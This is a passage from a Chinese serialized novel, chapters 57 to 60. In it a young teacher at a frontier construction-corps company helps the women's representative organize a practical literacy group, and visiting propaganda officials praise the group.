“唉呀气死我了!”王大姐没等舒染开口,就拍着大腿开始倒苦水。 舒染放下板擦,关切地问:“大姐,您这是怎么了?脸色这么难看?” “还能有谁?就那点破纸!”王大姐气呼呼地从怀里掏出一张皱巴巴的纸,放在讲台上。 舒染拿过来一看,是连里下发的一张《家属情况统计表》。要求统计各户妇女的年龄、籍贯、文化程度、有何特长、家庭主要困难等。 表格设计得不算复杂,但对于识字不多的人来说,确实像天书。 “刘书记让我把咱连这些家属们的情况摸摸底,说以后搞活动、发补助也好有个依据。” 王大姐指着表格,“我这几天跑断腿,磨破嘴皮子,问东问西,好不容易把各家情况都装进脑子里了!可一对着这表,我就傻眼了!” 她越说越激动:“这一个个小格格,该往哪里填?这字它认识我,我不认识它啊!我拿着表去问石会计,人家忙得脚不沾地,哪有空一个字一个字给我念?让我找识字的人问。我找谁去?总不能天天来烦你吧?” 舒染拿过表格,轻声念道:“姓名……王、桂、兰。年龄……四十二。籍贯……河、南、扶、沟。文化程度……文、盲、或、半、文、盲……” 王大姐听着,脸一阵红一阵白,尤其是听到“文盲或半文盲”那几个字时,嘴角往下撇了撇,眼神黯淡下去。 “特长……”舒染顿了顿,看向王大姐,“大姐,您有什么特长?比如……特别会纳鞋底?做饭好吃?还是干活特别利索?” “我这算啥特长啊?”王大姐愣了一下,有点茫然,“咱庄户人家,谁不会纳个鞋底做顿饭?这……这咋往上写?” 舒染叹了口气,把表格推回去:“确实有点难办。要不这样,大姐,您说,我帮您填。” “那哪行!”王大姐立刻摇头,“你一天到晚忙得跟啥似的,哪能老让你干这个?再说,这也不是一回两回的事啊!刘书记说了,以后这类事儿多着呢!” 王大姐越说越沮丧,声音也低了下去:“染妹子,你说……我这妇女代表是不是干不了啊?连个字都写不来几个,通知个事都能弄岔了……净耽误事!还不如回去种洗的菜……” 看着王大姐耷拉着脑袋,刚才那股风风火火的劲头全没了,舒染心里也不是滋味。她光想着王大姐有威信,却忽略了工作开展离不开最基本的读写能力。 在这个位置上,半文盲带来的不便被无限放大了。 “大姐,您别这么说。”舒染放下表格,语气认真起来,“这事不怪您。是咱们连里以前没重视这方面的工作,突然一下正规起来,您不适应是正常的。” 她沉吟了一下:“人名记混了,是因为光靠脑子记,容易乱。要是能写下来,就不容易错了。” “我倒是想写!”王大姐抬起头,一脸无奈,“可我写得出来吗?我就会写个我的名字,还是当年我男人教的,写得跟鸡刨的似的,字认识几个,但是不多啊!” “那就学啊。”舒染看着她,眼神明亮起来,“大姐,您想没想过,学认字,学文化?” “学文化?”王大姐愣住了,像是从来没想过这个问题,随即把头摇得像拨浪鼓,“不行不行!我都多大岁数了?黄土埋半截的人了,还像那小娃娃一样学?让人笑话死!再说,文化是那么容易学的?我看着那些字就头疼!” “有什么可笑话的?”舒染反驳道,“活到老学到老。再说了,您学认字不是为了吟诗作对,是为了把工作干得更好!谁笑话您,您就问问他,能不能帮您把这份统计表填了?能不能保证通知人不弄错?” 她顿了顿,放慢语速,语气带着点鼓动人心:“大姐,您想想,要是您自己能认字,会写字,这点事儿还叫事儿吗?您自己就能把表格填得漂漂亮亮,通知写得明明白白。到时候,谁不得高看您一眼?刘书记、马连长是不是得更看重您?您这妇女代表,是不是当得更硬气?” 这番话,实实在在说到了王大姐的心坎里。她不想被人看笑话,更想把这个代表当好了。之前那股不服输的劲头又回来了。她犹豫地看着舒染:“我能学会吗?” “谁说你笨了?”舒染笑了,“您打理家务、伺候自留地、处理邻里关系,哪样不是一把好手?这说明您脑子灵光着呢!认字没那么难,尤其您是为了用才学,学得快!就从您最需要的开始学,比如咱连里这些人的名字,常用的那些字。” 王大姐眼神闪烁,明显心动了,但还有顾虑:“那……那跟谁学啊?总不能真让你这老师天天给我开小灶吧?你也忙。” “这事儿您别管了,我想办法。”舒染心里已经有了初步想法,“您就先下定决心,学,还是不学?” 王大姐看着桌上那张如同天书般的表格,又想想今天遭遇的尴尬,最终一咬牙,一跺脚:“学!凭啥不学!我就不信,还能让这几个字给难死!” 她像是给自己打气,声音又恢复了往常的洪亮:“染妹子,你说得对!我得学!为了工作,也为了我自个儿!不能让那起子人看瘪了!” 舒染看着她重燃斗志的样子,欣慰地笑了。她知道,这只是第一步。让王大姐下决心学习,仅仅是解决了“思想问题”,更实际的“教学问题”还在后头。 而且,她隐约感觉到,需要学文化的,恐怕不止王大姐一个人。 第58章 王大姐学文化的决心是下了, 可具体怎么学,成了摆在舒染面前的新难题。 她自己的时间确实捉襟见肘。白天要上课,要备课, 要批改作业,要处理学校里大大小小的事务, 还要时不时应对连里突然派下来的各种临时任务。晚上那点时间,她自己都恨不得掰成两半用。 可她看着王大姐,她怎么也说不出“没时间”这几个字。 “大姐, 您别急,咱得找个长久的办法。”舒染一边批改着石头那篇错字连篇的小练笔,一边对坐在旁边略显焦躁的王大姐说。 王大姐手里捏着那份让她头疼的表格,叹气道:“啥长久的法子?染妹子, 我就想赶紧把这玩意儿整明白, 再去通知个事儿别再闹笑话, 我就知足了!” “光你一个人学还不够。”舒染放下笔, “你想想, 秀兰记账是不是也有犯难的时候?桂芬看工分榜是不是也得琢磨半天?还有好些姐妹, 认得的字凑一起也不够用。您这妇女代表以后要牵头弄个啥,光您一个人明白, 跑断腿也张罗不过来。” 王大姐愣了一下,琢磨着这话:“你的意思是……” “我的意思是, 要不,咱们把觉着字不够用、想再多认点的姐妹都拢一块儿?” 舒染斟酌着词句, “也不用太正式, 就当是‘妇女互助学习小组’。找个固定的闲工夫,我,或者能找到别的识字多些的人, 给大家一起讲讲工作中、生活里急需的字和词。您来组织,名正言顺。” “互助学习小组?”王大姐的眼睛一下子亮了,但随即又黯淡下去,“这……这能行吗?都是拖家带口的老娘们儿,一天下来累得骨头都散了,谁还有心思学这个?再说,让人知道了,还不笑掉大牙?” “我觉得在我的想法很有可行性,”舒染语气坚定起来,“咱们学文化,一不为考状元,二不为摆架子,就为了能把日子过明白点,把工作干顺点!谁笑话?谁笑话就让谁来帮您填表,谁来帮秀兰对账。” 她顿了顿,声音压低了些,带着点狡黠:“大姐,你现在是妇女代表,由你出面组织,名正言顺。就说……就是为了更好地配合连里工作,提高咱们妇女同志的思想觉悟和工作能力。刘书记和马连长听了,也只有支持的份儿。” 这些话让王桂兰茅塞顿开。对啊,她现在不是普通家属了,是妇女代表,组织大家学习,也是工作的一部分。 “对!染妹子你说得对!”王大姐把手里的麻绳一扔,来了精神,“我这就去问问!看看到底有几个人想学!” 舒染早就观察到了,她发现像王大姐这样被文盲或半文盲困扰的妇女,远不止一个。 李秀兰在豆腐坊,现在兼着帮连里登记些零碎物资的出入。她记账依旧不是很顺利,稍微复杂点的品名就要请教别人。 张桂芬去连部领工分票,总是要拉着别人帮她看,生怕发少了或者发错了。她私下跟舒染念叨过:“要是自己能认得,心里就踏实了。” 就连平时看起来挺泼辣的孙家媳妇,有一次也让舒染帮她看看家里寄来的信,信纸都揉皱了,显然是好几个人传看猜读过了。 一个念头在舒染心中越来越强烈。她看准一个刘书记看起来心情不错的时机,走进了连部。 “书记,跟您汇报个情况。”舒染语气轻松,像是拉家常,“最近王大姐不是当妇女代表嘛,工作需要,找我学文化。结果秀兰和她们看着有意思,也都想学。我发现咱们连不少妇女姐妹,都有学文化的想法,就是没好意思开口,也没人组织。” 刘书记正在看文件,闻言抬起头,有点惊讶:“哦?都想学?这可是好事啊!说明咱们连妇女同志积极性高!” “是好事,但也有点问题。”舒染话锋一转,露出点为难的神色,“我现在是东一榔头西一棒槌地教,今天教这个两个,明天教那个三个,不成系统,效果也慢。而且都在我上课休息的间隙,挤占的是学校的教室和时间,长远来看也不是办法。” 刘书记放下文件,沉吟起来:“这倒是个问题……那你的意思是?” 舒染小心翼翼地提出想法:“书记,您看,能不能由连里出面,稍微组织一下?也不用太正式,就当是个‘妇女扫盲学习小组’。找个固定时间,比如每周抽两三个晚上,就在这新教室或者食堂角落,我或者有其他识字的人,给大家统一讲讲最常用的字和词。这样既不影响白天生产,也能真正帮姐妹们解决点实际困难,以后开展工作也顺手。” 她没敢直接说“办夜校”,而是用了“学习小组”这个更低调的说法。 刘书记听着,手指在桌上敲了敲。他想起上次王大姐成功调解纠纷后,师里下来检查工作的同志还表扬了他们连群众工作有起色。如果这个扫盲学习小组真能搞起来,岂不是又一个亮点? “嗯……你这个想法不错。”刘书记点了点头,“为妇女同志解决实际困难,也是连队工作的一部分。这样吧,我跟马连长和其他支委通个气。原则上我同意你先试着搞起来。地方嘛……就在你们教室,晚上反正空着。时间你们自己定,但不能太晚,影响第二天生产。至于谁来教学,暂时就先辛苦你一下。” 舒染心里一阵雀跃,但脸上还是保持着平静:“不辛苦,书记。那我们就先试着弄起来,看看效果。” 从连部出来,舒染迫不及待地把这个好消息告诉王大姐。 王大姐的执行力简直超乎舒染的想象。她没直接大张旗鼓地吆喝,而是直接去串门子。 她先去了豆腐坊。李秀兰正对着个小本子发愁。 “秀兰,忙呢?账对不上?”王大姐凑过去问。 李秀兰抬起头,一脸苦恼:“王大姐,你可来了。这不,刚领了豆子和盐,石会计非要我写清楚品名数量,我这‘盐’字老是写错,画个圈代替,他又说不行……”她指着本子上几个歪扭的墨疙瘩和圆圈。 “嗐!这石会计,就会较真!”王大姐先共情了一句,然后话头一转,“不过话说回来,咱要自己能写清楚,也省得看他脸色不是?我寻摸着,找舒老师给咱们开个小灶,专门学学这些工作上急用的字词,不光我学,想学的姐妹都一块儿,互相督促着,学得快。你觉着咋样?” 李秀兰的眼睛瞬间就亮了:“哎呀这太好了!我正愁呢,算数我倒不怕,就怕写字。算我一个!” 从豆腐坊出来,王大姐又溜达到自留地。张桂芬正眯着眼看一张纸片。 “桂芬,看啥呢?” “唉,王大姐,俺家那口子带回张条子,说是领东西用的,俺瞅着这‘领取通知’几个字认识,可这下面写的啥‘品名’、‘规格’,俺就认不全了,猜了半天也没弄明白到底领啥。”张桂芬把纸条递过来,一脸无奈。 王大姐接过看了看,她也认不全,但比张桂芬强点:“像是领劳保用品的。你看,这有个‘手’字,还有个‘套’字,估计是手套。这‘数量’后面写的是‘贰副’。” “贰副?是两副的意思不?”张桂芬问。 “对!就是这个意思!你看,这要是认不全,不就抓瞎了?”王大姐趁机说,“我跟舒老师说了,组织个学习小组,就学这些条条票票上常用的字,还有咱们连里常用的人名、地名、工具名。学了就能用上!你来不来?” 张桂芬这下毫不犹豫了:“来!肯定来!俺再也不想抓瞎了!” 王大姐又找了几家平时关系不错,或者明显有同样烦恼的妇女。反应各不相同:有的像李秀兰一样急需,有的像张桂芬一样被说动,也有的摆手拒绝,觉得“够用了,费那劲干啥”。 甚至还有阴阳怪气的:“王代表这是新官上任三把火,要带着咱们一起进步啊?” 王大姐心里憋气,但想起舒染说的为了工作,硬生生忍了。 她数了数,明确想学的,加上她自己,有七八个人。差不多了。 她把名单报给舒染。舒看着那几个熟悉的名字,心里有了底。 “大姐,光咱们几个还不够。”舒染沉吟道,“得让更多人知道,咱们这个学习小组,是真能解决实际问题的。第一次活动,得学点让大家觉得立马就有用的东西。” 第一次学习活动,定在了一个周三的晚上。地点就在新教室。 消息传开,好奇、观望、看热闹的都有。 当晚,新教室那盏最大的马灯亮着。 王大姐早早就在门口,穿着整洁,精神头十足地招呼:“里边坐!舒老师备了好东西!” 李秀兰第一个到,带了崭新的本子和笔。张桂芬和几个相熟的妇女结伴而来,显得有些拘谨又期待。教室里陆陆续续坐了十来个人。 舒染准时走进教室。她手里拿着几张写满字的旧报纸。 “各位嫂子、婶子、姐妹们,”她站定,声音清晰平和,“咱们这个互助学习小组,今晚就开始。咱们不学远的,就学眼下最急用的。” 下面顿时响起一阵议论声,这话可说到她们心坎里去了。 “咱一样一样来。先帮王大姐理清花名册,咱们自己也把左右邻居的名字写对、认准。” 舒染拿出连队职工家属的名单,“我念一个,咱就在黑板和自己本子上写一个,互相看看对不对。” 她从最常见的姓氏开始,不仅写复杂的,也写简单的,告诉大家怎么记认。每写一个姓,下面就有人对应着自家或者邻居的名字,低声念叨,在本子上模仿。 “来,王大姐,您来写写‘王桂兰’。”舒染点名。 王大姐深吸一口气,走上讲台。她会写“王”和“兰”,“桂”字有点犹豫。 舒染提醒:“木字旁,加两个土摞起来。”王大姐认真地写了出来,虽然“桂”字结构有点散,但完全正确。下面响起鼓励的掌声。 接着是李秀兰写自己的名字,她的“秀”字总写得歪歪扭扭,舒染握着她的手纠正了笔画顺序。 张桂芬也上台写出了“张桂芬”,虽然“张”的“弓”字旁写得大了点。 气氛渐渐热络起来,大家发现好多人名字里的字都是共享的,你帮我,我帮你,互相提醒哪个字怎么写,是哪家的人。 王大姐的花名册难题,在大家的互助下,似乎没那么可怕了。 接着,舒染拿出准备好的各种票证、条据样本——工分票、粮票、布票、领取通知、简单的借条。 “咱们看票证,不用全认完,抓关键的认。”她指着工分票,“看,这儿最大的是‘拾分’,就是十分;这是‘伍分’;这是‘贰分’。粮票,认‘市斤’、‘公斤’;布票认‘市尺’。” 她又拿起一张领取通知:“‘品名’就是东西叫什么,‘规格’就是大小型号,‘数量’就是多少。像这个‘劳动布手套’,‘贰副’,就是两双。” 她教大家辨认最关键的信息,妇女们听得目不转睛,这些可是实实在在的学问。 最后是数字。大家基本都认识,但舒染强调了大写数字的写法:“壹、贰、叁、肆、伍、陆、柒、捌、玖、拾、佰、仟。这些在条据、账本上常用,得会认,最好会写。” 她带着大家简单算了算账,结合着大写数字认读:“佰斤玉米,每斤捌分钱,总共多少钱?”“领叁尺布,每尺多少钱?” 原定一个小时的课,又超时了。 李秀兰在本子上密密麻麻记满了姓氏和数字。张桂芬反复看着那张“手套领取通知”的样本,嘴里念念有词。 王大姐最后帮着收拾,兴奋地说:“染妹子!这法子真实用!我看她们都听进去了!明天我就拿着花名册去对对,保准错不了!” 舒染看着黑板上密密麻麻的姓氏和数字笑了:“大姐,这只是开始。下次,咱们学记账的格式,学工具名、庄稼名,学写简单的借条收据。” “好!好!”王大姐连连点头,“我明天就去问问,她们还想学啥!” 消息很快传遍连队。 李秀兰再去交豆腐坊的账本,虽然字还是不好看,但信息写得清清楚楚,石会计推了推眼镜,难得地没挑刺。张桂芬再去领东西,也能对着条据磕磕绊绊地念出个大概。 当初拒绝的、说风凉话的,心里开始犯嘀咕了。 第二次活动,来的人更多了。教室显得有些拥挤。舒染这次教的是简单的记账格式和常见物品名称。她提前让王大姐收集了大家最想学的词:“锄头”、“镰刀”、“铁锨”、“箩筐”、“扁担”、“玉米”、“小麦”、“棉花”、“白菜”、“土豆”、“工分”、“补助”、“支出”、“结余”…… 教学方式依旧紧扣实际。舒染带着大家模拟记流水账,认工具房和仓库里物品标签上的字。 第三次、第四次,来的人明显增多,连当初说风凉话的孙家媳妇,也忍不住好奇,拉着别人一起来了。 教室里坐得满满当当,她们或许永远成不了文化人,但她们正在努力挣脱睁眼瞎的束缚。 舒染站在讲台上,看着这一切。她意识到,自己教案本上草草备下的扫盲内容越来越不够用了。 也许,是时候编写一点更系统,更符合当地特色的简易教材了,比如语文识字、基础算术之类的,大人能用,孩子们也能用。 第59章 妇女扫盲学习小组如火如荼地开展了小半个月, 新教室夜夜亮着煤油灯,里面传来妇女们的跟读声和讨论声。 王大姐再去通知事情,怀里多了个小本子, 虽然记得歪歪扭扭,但关键的人名、事项总算不会弄错了;李秀兰的豆腐坊账本清晰了不少;张桂芬去领东西, 也能对着条子琢磨个大概。 连里的风言风语渐渐少了,多了些羡慕和好奇的目光。甚至有几个原本观望的妇女,也私下找王大姐打听, 下次学习能不能也来听听。 就在这时,连部接到了团里的电话通知:师部宣传科的一位干事,近期会下来走访几个连队,调研基层文化教育和群众思想工作开展情况, 第一站就定在畜牧连。要求连里做好准备, 如实汇报。 这个消息立刻在连队里引起了波澜。 刘书记和马连长紧急开了会。 “师部宣传科的人下来, 指名先到咱们连, 这是重视, 也是压力!”刘书记敲着桌子, “都把手里头的工作捋一捋,看看有哪些能拿得出手的亮点?尤其是思想文化教育这块!” 马连长皱着眉头:“生产进度、挖渠任务, 这些都好汇报,有数字摆着。可这文化教育……除了舒老师那个小学, 咱们还有啥?总不能就汇报认了多少个字吧?” 赵卫东接话道:“要我说,咱们连的优势就是生产抓得紧, 任务完成得好。那些虚头巴脑的东西, 适当提提就行了,别喧宾夺主。” “老赵这话不全对。”刘书记摇摇头,“现在上级越来越重视这方面的工作。舒老师搞的那个妇女扫盲学习小组, 我看就有点新意,结合了实际需要,群众反响也不错。这次是不是可以作为一个点,汇报一下?” “妇女扫盲小组?”赵卫东眉头皱得更紧了,“一群老娘们儿凑在一起认几个字,这也算成绩?别到时候人家领导来了,问深一点,啥也说不出来,反倒闹笑话。” 会议室里一时有些沉默。 这时,一直没怎么说话的陈远疆开口了:“实事求是就好。扫盲小组是为了解决实际工作困难办的,效果也有目共睹。比起空谈理论,或许更符合基层实际。至于汇报,可以让具体负责的王桂兰同志和舒染同志准备,她们最清楚情况。” 刘书记和马连长对视一眼,点了点头。 “陈干事说得对。那就这样,生产该汇报汇报,扫盲小组的情况也准备一下,作为补充。舒老师那边,我去说。王桂兰同志那里,也让舒老师帮忙沟通一下,别到时候紧张得说不出话。”刘书记拍了板。 消息传到舒染耳朵里时,她正和王大姐、李秀兰在教室里收拾晚上学习要用的东西。 王大姐一听,脸唰一下就白了,手里捏着的粉笔头差点掉地上:“啥?师里的大领导要来?还要看咱们这个?哎哟俺的娘诶!这……这咋整?” 李秀兰也紧张地搓着围裙:“舒老师,领导来了,问深了咱答不上来咋办?会不会给连里惹麻烦?” 舒染看着两人慌乱的样子,只能先稳住神:“别慌,大姐,秀兰。咱们办这个小组,一没偷二没抢,就是为了解决实际困难,有啥怕检查的?领导问啥,咱们照实说就行。” 话虽这么说,舒染自己心里也没底。她去找刘书记,想探探口风。 刘书记正和马连长、陈远疆在连部办公室说着什么,眉头皱着。见舒染进来,刘书记叹了口气:“舒老师,正好你也来了。检查的事你知道了吧?团里电话强调,这次重点看思想文化工作。你们那个学习小组,准备一下,到时候恐怕要简单汇报一下。” 马连长插话,语气有些沉:“舒老师,这事儿可得掂量清楚。成绩要说,但也不能说得太满。万一领导问点理论上的、政策上的,你们答不上来,反倒不好。” 舒染明白了领导们的顾虑。她点点头:“书记,连长,您二位放心。我们就是实事求是,汇报我们怎么做的、为什么做、取得了什么效果。都是些实实在在的事,不搞虚的。” 一直没说话的陈远疆这时开口了:“实事求是就好。解决实际问题的经验,比空话更有价值。” 从连部出来,舒染找到依旧坐立不安的王大姐:“大姐,别怕。领导也是人,咱就有啥说啥。你就说说你当初为啥要学,学了之后管不管用。我帮你把大家学习的成果整理一下,到时候给领导看看。” 王大姐一听直摆手:“不行不行!染妹子,这可不行!我哪见过那么大领导?还要我汇报?我到时候一紧张,屁都放不出来一个,不是给连里丢人吗?” 舒染赶紧给她打气:“大姐别怕!您就照实说,当初为什么犯难,怎么想起要学,学了之后有什么好处。您就说说您自己的真切感受,这比什么都强!还有我和其他姐妹呢,又不是让您一个人说。” 好说歹说,王大姐总算勉强答应下来,但接下来的两天,她吃饭睡觉都在念叨那几句“汇报词”,紧张得像是要上刑场。 舒染自己也抓紧时间,整理了一下学习小组的教学内容和大家的进步情况。她琢磨着,光说可能不够直观,要是能有点成果展示就好了。 她灵机一动,让每个参加了学习的妇女,都在一张旧报纸上,写下自己现在会写的字,或者自己的名字,或者一句最想说的话。写得不好看没关系,贵在真实。 李秀兰工工整整地写下了“李秀兰豆腐坊 收支”和一些数字;张桂芬歪歪扭扭地写了自己的名字和“工分明白”;连孙家媳妇也别扭地写了个“孙”字和“通知”俩字。王大姐更是郑重其事地写下了“王桂兰妇女代表为人民服务”。 舒染把这些小心地收好,王大姐凑过来,指着自己写的那句“王桂兰妇女代表为人民服务”里的“代”字,不好意思地说:“染妹子,这字俺好像写错了……” 舒染一看,果然写成了“伐”。她笑着拿出铅笔,轻轻改了一笔:“没事,大姐,现在会了就行。” 检查的日子终于到了。 那天下午,连部门前难得地打扫得干干净净。刘书记、马连长等连队干部都早早等在门口。 舒染也特意换了件干净衣服,和王大姐站在稍后一点的位置。王大姐紧张得不停搓手,舒染低声说:“大姐,就当是跟咱连领导汇报工作一样。” 远处传来吉普车的引擎声。一辆绿色的普车卷着尘土驶来,停在连部门口。 车门打开,刘书记和马连长立刻迎了上去。首先下来的是一位四十多岁、表情严肃的干部,是师部宣传科的副科长,姓吴。 后面跟着下来一个年轻人,约莫二十七八岁,瘦高个,穿着洗得发白的军装,没戴帽子,鼻梁上架着副眼镜,看着挺斯文,但眼神清亮,正打量着连队的环境。 “吴科长,欢迎欢迎!一路辛苦了!”刘书记热情地握手。 “这位是团部宣传科的杨振华干事,这次跟我一起下来调研。”吴科长介绍道。 “杨干事,欢迎!”刘书记又连忙和杨振华握手。 杨振华笑容谦和,“刘书记,马连长,给你们添麻烦了。我们这次下来,主要是学习,了解基层的实际情况。” 他微笑着冲她们点了点头,目光在舒染脸上停留了片刻,似乎有些讶异于她的年轻,但很快礼貌地移开。 一行人进了连部办公室。简单的寒暄过后,吴科长直奔主题,听取了刘书记和马连长关于连队生产、思想教育工作等方面的汇报。吴科长问得很细,尤其关注职工和家属的思想动态。 刘书记和马连长汇报得很扎实,主要突出了生产任务完成情况和连队管理的规范性。 轮到思想文化教育方面,刘书记按照准备的材料,提到了启明小学和最近试办的妇女扫盲学习小组,但说得比较简略。 吴科长听完,没表态,看向杨振华:“小杨,你有什么要了解的?” 杨振华扶了扶眼镜,开口问道:“刘书记,马连长,刚才您二位提到的妇女扫盲学习小组,我很有兴趣。能不能详细介绍一下,当初是怎么想到要办这个小组的?具体是怎么开展的?遇到了哪些困难?又取得了哪些效果?” 他的问题具体而深入,显然不是走马观花式的检查。 刘书记和马连长对视一眼,心里都有些打鼓。刘书记连忙说:“这个小组的具体情况,由我们连的妇女代表王桂兰同志和启明小学的舒染老师负责,她们更清楚。让她们向领导汇报一下吧。” 杨振华扶了扶眼镜,看向舒染和王大姐,问道:“王桂兰同志,舒老师,我对你们这个学习小组很感兴趣。能不能具体说说,是怎么想到要办这个班的?平时都学些什么?大家愿意来吗?” 王大姐紧张得咽了口唾沫,手心都在出汗。舒染悄悄碰了碰她的手背,低声鼓励:“别怕,照实说就行。” 王大姐深吸一口气,走上前,因为紧张,声音有点发颤,但嗓门依旧洪亮:“报告,报告领导!俺……我叫王桂兰,是连里的妇女代表。办这个学习小组,是因为……是因为俺不识字,工作没法干!” 她豁出去了,把自己怎么填不了表、怎么通知错人、怎么闹笑话的糗事全说了出来,说到激动处,脸都涨红了。 “……俺就寻思,不能这么窝囊!就找了舒老师,俺要学认字!后来发现,不光俺,秀兰、桂芬她们也都需要!舒老师就说,那不如大家一起学!连里也支持,就给提供了地方……” 吴科长听着,脸上没什么表情。但杨振华却听得十分专注,眼神里流露出浓厚的兴趣,不时点头。 等王大姐说完,舒染上前一步补充道:“吴科长,杨干事。王大姐说得都是实际情况。我们办这个小组,初衷非常简单,就是为解决工作和生活中因为文化水平低带来的实际困难。所以教学内容也完全围绕实际应用展开,比如认写人名、认读票证、记简单账目、写常用条据等。” 她拿出那叠旧报纸,展示上面妇女们写的字:“这是姐妹们最近学习的成果,写得不好看,但都是她们一笔一划自己写的。至少现在,王大姐通知工作很少出错了,李秀兰同志记账更清晰了,张桂芬同志去看工分榜也能看个大概了。大家觉得生活和工作都方便了不少。” 杨振华接过那叠报纸,一页页仔细翻看。 “很有意思。”杨振华抬起头,看向舒染,目光中带着探究,“舒老师,据我所知,正式的扫盲工作一直在推进,但往往效果不佳。你们这个小组,似乎找到了一个不同的切入点。你认为最关键的是什么?” 舒染想了想,说:“我觉得是‘需要’和‘有用’。大家不是为学习而学习,是因为不学就没办法,学了立刻就能用上,劲头就足。学的都是身边立刻要用的东西,记得就牢。再加上大家一起学,互相帮着,就不觉得难了。” 杨振华频频点头,转向吴科长:“吴科长,我觉得畜牧连这个做法很务实。从群众最迫切的需求入手,形式灵活,效果看得见。这种经验,值得好好关注。” 吴科长脸上严肃的表情也缓和了不少,点了点头:“嗯,听起来确实有点意思。不搞形式主义,能解决实际问题,就是好方法。” 刘书记和马连长明显松了口气。 汇报结束后,吴科长在刘书记和马连长的陪同下,去参观开荒田和排干渠设施了。杨振华却提出想单独去看看启明小学和妇女扫盲小组的上课情况。 舒染便带着杨振华往教室走。 走在连队的土路上,杨振华看着周围的环境,忽然问道:“舒老师是上海知青?” “是的,杨干事。” 杨振华又问道:“舒老师来兵团多久了?还习惯吗?” “快一年了。”舒染答道,“习惯了,这里挺好。” “不容易。”杨振华感叹了一句,“能从大城市来到边疆,扎根下来办教育,还能结合实际创新工作方法,非常难得。” “杨干事过奖了,我就是做了点力所能及的事情。”舒染谦虚道。 到了教室,正是课间休息时间。孩子们看见舒染带着一个陌生的叔叔进来,都好奇地围过来。 杨振华没有半点架子,笑着和孩子们打招呼,弯下腰看石头写在旧报纸上的字,还拿起一块孩子们用石灰块做的“粉笔”看了看。 “条件很艰苦,但孩子们的精神面貌很好。”杨振华对舒染说,“你把他们教得很好。” 接着,他又详细询问了学校的课程设置、学生人数、牧区孩子的融入情况等问题。舒染都一一如实回答。 当听到舒染提到现有的扫盲课本与当地生产生活实际有些脱节时,杨振华若有所思。 “你说的问题很现实。统一的教材确实很难照顾到所有地区的特殊性。尤其是对于成人扫盲,更需要贴近他们的生活经验。” 他看着舒染,“你们妇女扫盲小组的教学内容,是你自己整理的?” “是的,”舒染点头,“就是根据大家的急需,随手整理了一点,不是很系统。” “已经很好了。”杨振华赞赏道,“兴趣是最好的老师,需求是最强的动力。你们的实践,或许能给我们编写更接地气的辅助教材提供很多启发。” 他又和舒染聊了很多关于教育教学的想法。舒染发现这位杨干事思想很开明,一点也不僵化,非常注重实际效果,而且对教育很有见地,很多想法甚至隐隐契合她来自未来的某些教育理念。两人聊得颇为投机。 临走时,杨振华对舒染说:“舒老师,你的工作很有价值。这次调研时间有限,但我希望以后还能有机会再来深入了解。如果你们在教学中有什么困难,或者有什么好的经验和建议,也可以直接写信到团部宣传科给我。基层的真实声音,对我们很重要。” 他递过来一张写着通讯地址的纸条。 舒染接过纸条,心里一动。这位杨干事,和她之前见过的很多干部都不一样。他务实、敏锐,并且似乎真心关注基层的创新和困难。 舒染接过纸条:“谢谢杨干事,我会的。” 送走杨振华后,舒染看着手里的纸条,若有所思。 第60章 师部检查组的吉普车消失在戈壁滩的尽头。 刘书记掏出一包雪莲烟, 递给马连长一支,自己点上,深吸了一口, 烟雾缭绕中,他眯着眼看向远处的新教室:“老马, 没想到啊,真让咱们蒙……不对,是搞出点名堂来了?” 马连长嘬着烟, 脸上是藏不住的笑意:“尤其是团部那个杨干事,眼光毒得很,一句虚的没有,全问在点子上。说咱们这个务实、管用!这话听着提气!” 赵卫东背着手, 哼了一声:“管用是管用, 就是不太成体统。咱们的重点还得是挖渠开荒, 那才是硬指标。” “老赵, 你这话可就短见了。”刘书记摆摆手, “杨干事最后那几句话, 我琢磨了一路。他说群众的创新最值得珍视,但也最需要引导才能长久见效。我觉得这话在理。” 他弹了弹烟灰:“咱们这扫盲班, 现在是热火朝天,可全靠舒老师一个人撑着, 王大姐带着大家凭一股热乎气顶着。长远看,不牢靠。万一舒老师病了、调走了, 或者这股气泄了, 这摊子不就散了?” 马连长点头:“书记说的是。得有个章程,像种地一样,不能光靠天吃饭。” “对喽!”刘书记点点头, “咱们得弄出点自己的东西,哪怕就是个土办法、土教材,攥在自己手里,心里踏实!以后再来人检查,咱也能拿出个囫囵个儿的东西,不是光靠嘴说。” 他沉吟一下,对马连长说:“老马,你瞅个机会,私下跟舒老师透个话。就说连里觉得她这法子好,效果大家看见了。希望她能抽空,把平时教的那套,捋出个一二三来,简单点,实用点,写成条条框框,哪怕就几张纸呢。算是给咱们连留个底,以后就算她忙,别人也能依样画葫芦接着干。” 刘书记话说得含蓄,意思却明白:连里想要成果,但又不想搞成正式任务压下去,先让舒染弄点材料出来看看。 马连长心领神会:“行,我明白。回头我去说。” 过了两天,马连长特意挑了傍晚收工后,溜达着到了新教室。 舒染正带着值日生扫地,石头和栓柱抢着撒水压尘,阿迪力不太熟练地拿着比他还高的扫帚,一下一下地划拉着。 “舒老师,还没忙完呢?”马连长走过去。 “马上就好。连长您有事?”舒染直起腰,拍了拍手上的粉笔灰。 “没啥大事。”马连长走进来,看了看墙上孩子们画的画和贴的作业,“就是上次师里领导来,对你搞的这个扫盲班,那是相当肯定!连里也觉得这是好事,不能一阵风过去就拉倒。” 他顿了顿,像是琢磨措辞:“刘书记的意思呢,是觉得你这套教法好,见效快。能不能……抽空把你平时怎么教的、都教些啥,简单归拢归拢,写个大概的章程?不用太复杂,就咱们连自己参考,万一以后……也好有个依据。你看怎么样?” 舒染心里一阵暗喜,她正愁没个由头编写教材呢。 她脸上露出恰到好处的为难:“连长,刘书记和连里能肯定,我打心眼里高兴。其实我也觉得现在这样教有点零散,正想捋一捋。就是对小学和扫盲班都好。就是……” 她叹了口气,“白天课排得满,晚上备课批作业,还得带扫盲班,时间真是掰成八瓣也不够用。怕耽误了正事……” “这个你放心!”马连长立刻表态,“连里肯定支持!这样,我跟刘书记说说,看看能不能让秀兰、或者其他识点字的人,多帮你分担点杂事。纸笔什么的,需要就去石会计那儿领!务必把这件事办好!” 有了这话,舒染心里踏实了:“谢谢连长!有连里支持,我一定尽力,争取弄出点实实在在的东西!” “好!好!那就辛苦你了!”马连长满意地背着手走了。 舒染送走连长,一回头,看见王大姐不知什么时候来了,正扒在窗户外头听呢,脸上又是兴奋又是紧张。 “染妹子!连长真让咱们编书啦?”王大姐的语气带着激动。 “不是编书,是整理材料。”舒染笑着纠正她。 舒染没大张旗鼓,而是先从身边最可靠的人开始。 她第一个找的是许君君。卫生室里,许君君正给一个哭闹的孩子胳膊上涂紫药水。 